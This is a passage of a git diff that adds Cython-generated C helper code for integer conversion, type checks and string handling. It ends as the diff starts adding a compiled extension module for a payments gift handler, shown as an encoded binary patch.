__PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + long val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (long) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (long) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (long) -1; + } else { + stepval = v; + } + v = NULL; + val = (long) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(long) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((long) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(long) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((long) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((long) 1) << (sizeof(long) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (long) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to long"); + return (long) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to long"); + return (long) -1; +} + +/* CIntFromPy */ + static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const int neg_one = (int) -1, const_zero = (int) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(int) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (int) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + int val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (int) -1; + val = __Pyx_PyInt_As_int(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 2 * PyLong_SHIFT)) { + return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 3 * PyLong_SHIFT)) { + return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 4 * PyLong_SHIFT)) { + return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (int) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(int) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(int) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(int) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + int val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (int) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (int) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (int) -1; + } else { + stepval = v; + } + v = NULL; + val = (int) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(int) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((int) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(int) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((int) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((int) 1) << (sizeof(int) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (int) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to int"); + return (int) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to int"); + return (int) -1; +} + +/* FastTypeChecks */ + #if CYTHON_COMPILING_IN_CPYTHON +static int __Pyx_InBases(PyTypeObject *a, PyTypeObject *b) { + while (a) { + a = __Pyx_PyType_GetSlot(a, tp_base, PyTypeObject*); + if (a == b) + return 1; + } + return b == &PyBaseObject_Type; +} +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (a == b) return 1; + mro = a->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + if (PyTuple_GET_ITEM(mro, i) == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(a, b); +} +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (cls == a || cls == b) return 1; + mro = cls->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + PyObject *base = PyTuple_GET_ITEM(mro, i); + if (base == (PyObject *)a || base == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(cls, a) || __Pyx_InBases(cls, b); +} +#if PY_MAJOR_VERSION == 2 +static int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject* exc_type2) { + PyObject *exception, *value, *tb; + int res; + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&exception, &value, &tb); + res = exc_type1 ? PyObject_IsSubclass(err, exc_type1) : 0; + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + if (!res) { + res = PyObject_IsSubclass(err, exc_type2); + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + } + __Pyx_ErrRestore(exception, value, tb); + return res; +} +#else +static CYTHON_INLINE int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject *exc_type2) { + if (exc_type1) { + return __Pyx_IsAnySubtype2((PyTypeObject*)err, (PyTypeObject*)exc_type1, (PyTypeObject*)exc_type2); + } else { + return __Pyx_IsSubtype((PyTypeObject*)err, (PyTypeObject*)exc_type2); + } +} +#endif +static int __Pyx_PyErr_GivenExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + assert(PyExceptionClass_Check(exc_type)); + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030B00A4 + return Py_Version & ~0xFFUL; +#else + const char* rt_version = Py_GetVersion(); + unsigned long version = 0; + unsigned long factor = 0x01000000UL; + unsigned int digit = 0; + int i = 0; + while (factor) { + while ('0' <= rt_version[i] && rt_version[i] <= '9') { + digit = digit * 10 + (unsigned int) (rt_version[i] - '0'); + ++i; + } + version += factor * digit; + if (rt_version[i] != '.') + break; + digit = 0; + factor >>= 8; + ++i; + } + return version; +#endif +} +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer) { + const unsigned long MAJOR_MINOR = 0xFFFF0000UL; + if ((rt_version & MAJOR_MINOR) == (ct_version & MAJOR_MINOR)) + return 0; + if (likely(allow_newer && (rt_version & MAJOR_MINOR) > (ct_version & MAJOR_MINOR))) + return 1; + { + char message[200]; + PyOS_snprintf(message, sizeof(message), + "compile time Python version %d.%d " + "of module '%.100s' " + "%s " + "runtime version %d.%d", + (int) (ct_version >> 24), (int) ((ct_version >> 16) & 0xFF), + __Pyx_MODULE_NAME, + (allow_newer) ? "was newer than" : "does not match", + (int) (rt_version >> 24), (int) ((rt_version >> 16) & 0xFF) + ); + return PyErr_WarnEx(NULL, message, 1); + } +} + +/* InitStrings */ + #if PY_MAJOR_VERSION >= 3 +static int __Pyx_InitString(__Pyx_StringTabEntry t, PyObject **str) { + if (t.is_unicode | t.is_str) { + if (t.intern) { + *str = PyUnicode_InternFromString(t.s); + } else if (t.encoding) { + *str = PyUnicode_Decode(t.s, t.n - 1, t.encoding, NULL); + } else { + *str = PyUnicode_FromStringAndSize(t.s, t.n - 1); + } + } else { + *str = PyBytes_FromStringAndSize(t.s, t.n - 1); + } + if (!*str) + return -1; + if (PyObject_Hash(*str) == -1) + return -1; + return 0; +} +#endif +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { + while (t->p) { + #if PY_MAJOR_VERSION >= 3 + __Pyx_InitString(*t, t->p); + #else + if (t->is_unicode) { + *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); + } else if (t->intern) { + *t->p = PyString_InternFromString(t->s); + } else { + *t->p = PyString_FromStringAndSize(t->s, t->n - 1); + } + if (!*t->p) + return -1; + if (PyObject_Hash(*t->p) == -1) + return -1; + #endif + ++t; + } + return 0; +} + +#include +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s) { + size_t len = strlen(s); + if (unlikely(len > (size_t) PY_SSIZE_T_MAX)) { + PyErr_SetString(PyExc_OverflowError, "byte string is too long"); + return -1; + } + return (Py_ssize_t) len; +} +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return __Pyx_PyUnicode_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return PyByteArray_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject* o) { + Py_ssize_t ignore; + return __Pyx_PyObject_AsStringAndSize(o, &ignore); +} +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#if !CYTHON_PEP393_ENABLED +static const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + char* defenc_c; + PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); + if (!defenc) return NULL; + defenc_c = PyBytes_AS_STRING(defenc); +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + { + char* end = defenc_c + PyBytes_GET_SIZE(defenc); + char* c; + for (c = defenc_c; c < end; c++) { + if ((unsigned char) (*c) >= 128) { + PyUnicode_AsASCIIString(o); + return NULL; + } + } + } +#endif + *length = PyBytes_GET_SIZE(defenc); + return defenc_c; +} +#else +static CYTHON_INLINE const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + if (unlikely(__Pyx_PyUnicode_READY(o) == -1)) return NULL; +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + if (likely(PyUnicode_IS_ASCII(o))) { + *length = PyUnicode_GET_LENGTH(o); + return PyUnicode_AsUTF8(o); + } else { + PyUnicode_AsASCIIString(o); + return NULL; + } +#else + return PyUnicode_AsUTF8AndSize(o, length); +#endif +} +#endif +#endif +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT + if ( +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + __Pyx_sys_getdefaultencoding_not_ascii && +#endif + PyUnicode_Check(o)) { + return __Pyx_PyUnicode_AsStringAndSize(o, length); + } else +#endif +#if (!CYTHON_COMPILING_IN_PYPY && !CYTHON_COMPILING_IN_LIMITED_API) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) + if (PyByteArray_Check(o)) { + *length = PyByteArray_GET_SIZE(o); + return PyByteArray_AS_STRING(o); + } else +#endif + { + char* result; + int r = PyBytes_AsStringAndSize(o, &result, length); + if (unlikely(r < 0)) { + return NULL; + } else { + return result; + } + } +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { + int is_true = x == Py_True; + if (is_true | (x == Py_False) | (x == Py_None)) return is_true; + else return PyObject_IsTrue(x); +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject* x) { + int retval; + if (unlikely(!x)) return -1; + retval = __Pyx_PyObject_IsTrue(x); + Py_DECREF(x); + return retval; +} +static PyObject* __Pyx_PyNumber_IntOrLongWrongResultType(PyObject* result, const char* type_name) { + __Pyx_TypeName result_type_name = __Pyx_PyType_GetName(Py_TYPE(result)); +#if PY_MAJOR_VERSION >= 3 + if (PyLong_Check(result)) { + if (PyErr_WarnFormat(PyExc_DeprecationWarning, 1, + "__int__ returned non-int (type " __Pyx_FMT_TYPENAME "). " + "The ability to return an instance of a strict subclass of int is deprecated, " + "and may be removed in a future version of Python.", + result_type_name)) { + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; + } + __Pyx_DECREF_TypeName(result_type_name); + return result; + } +#endif + PyErr_Format(PyExc_TypeError, + "__%.4s__ returned non-%.4s (type " __Pyx_FMT_TYPENAME ")", + type_name, type_name, result_type_name); + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { +#if CYTHON_USE_TYPE_SLOTS + PyNumberMethods *m; +#endif + const char *name = NULL; + PyObject *res = NULL; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x) || PyLong_Check(x))) +#else + if (likely(PyLong_Check(x))) +#endif + return __Pyx_NewRef(x); +#if CYTHON_USE_TYPE_SLOTS + m = Py_TYPE(x)->tp_as_number; + #if PY_MAJOR_VERSION < 3 + if (m && m->nb_int) { + name = "int"; + res = m->nb_int(x); + } + else if (m && m->nb_long) { + name = "long"; + res = m->nb_long(x); + } + #else + if (likely(m && m->nb_int)) { + name = "int"; + res = m->nb_int(x); + } + #endif +#else + if (!PyBytes_CheckExact(x) && !PyUnicode_CheckExact(x)) { + res = PyNumber_Int(x); + } +#endif + if (likely(res)) { +#if PY_MAJOR_VERSION < 3 + if (unlikely(!PyInt_Check(res) && !PyLong_Check(res))) { +#else + if (unlikely(!PyLong_CheckExact(res))) { +#endif + return __Pyx_PyNumber_IntOrLongWrongResultType(res, name); + } + } + else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_TypeError, + "an integer is required"); + } + return res; +} +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { + Py_ssize_t ival; + PyObject *x; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(b))) { + if (sizeof(Py_ssize_t) >= sizeof(long)) + return PyInt_AS_LONG(b); + else + return PyInt_AsSsize_t(b); + } +#endif + if (likely(PyLong_CheckExact(b))) { + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(__Pyx_PyLong_IsCompact(b))) { + return __Pyx_PyLong_CompactValue(b); + } else { + const digit* digits = __Pyx_PyLong_Digits(b); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(b); + switch (size) { + case 2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + } + } + #endif + return PyLong_AsSsize_t(b); + } + x = PyNumber_Index(b); + if (!x) return -1; + ival = PyInt_AsSsize_t(x); + Py_DECREF(x); + return ival; +} +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject* o) { + if (sizeof(Py_hash_t) == sizeof(Py_ssize_t)) { + return (Py_hash_t) __Pyx_PyIndex_AsSsize_t(o); +#if PY_MAJOR_VERSION < 3 + } else if (likely(PyInt_CheckExact(o))) { + return PyInt_AS_LONG(o); +#endif + } else { + Py_ssize_t ival; + PyObject *x; + x = PyNumber_Index(o); + if (!x) return -1; + ival = PyInt_AsLong(x); + Py_DECREF(x); + return ival; + } +} +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b) { + return b ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False); +} +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { + return PyInt_FromSize_t(ival); +} + + +/* #### Code section: utility_code_pragmas_end ### */ +#ifdef _MSC_VER +#pragma warning( pop ) +#endif + + + +/* #### Code section: end ### */ +#endif /* Py_PYTHON_H */ diff --git a/handlers/payments/gift.cpython-312-x86_64-linux-gnu.so b/handlers/payments/gift.cpython-312-x86_64-linux-gnu.so new file mode 100755 index 0000000000000000000000000000000000000000..f10f78daea7ddd1c3a9e9bbec48e3f10eddea356 GIT binary patch literal 1231616 zcmeFadt8-O7C(GMDY6W-D7uqFg*g>CQJ7I6s1J%o-lD7k6~jB>p|G12Se#Bwj8lzW zhn%KyYHA#3rm>qH@7Q!9yIEF}-JTPf_A+E45&1loVu^B6iw z*6TV$9(6so!g`&mUZ<+3k0IqOeN0f*X(Rtzq0F?8sY*^C?Ru@Mo_$PH_4JW#@NeSh z{u%#Y+ACJ|+V;x^?c;^20e#f%U50w}%g_B&VfRf??Zt{istk)yA9XIWUFu-YjJag8 z57vf=DRJTJqZLj53!6V**DqCBdH)fxh5Vy9Qm?Q-0iM6j=Ogxe z{KvoDX@~vw@Y$DrE~)7M9tQ=wPo_jy|LFLaXe^ri!>Ak$e=P?7Cv-fT{Eis%NpM&+ z`ROt248^eX_CurVq3%@tXaAiSL(ez_Et)+`V%T$M3_ah)(6caxog)s9-tO5k;uwg5 zzk-B|W`BRAQ8c_GM!%Y4#IXa8jHc)282x=BM!UDfi2JY@dR~pu-^3XGeJ2KfWemJ7 zMt}Roh}V5F{MJ849P?x3$$c^UZf*?x?HGReRSfy28123vBY#R_#P`G)<7Ih_{yrJQo~O}nw73tB z(XV4-;NxP%{n8lyy&{I5^)cdmZ4CdQyS`NXXaB8=Vb4i1^5ljXesg2k^GS^H@{bsH 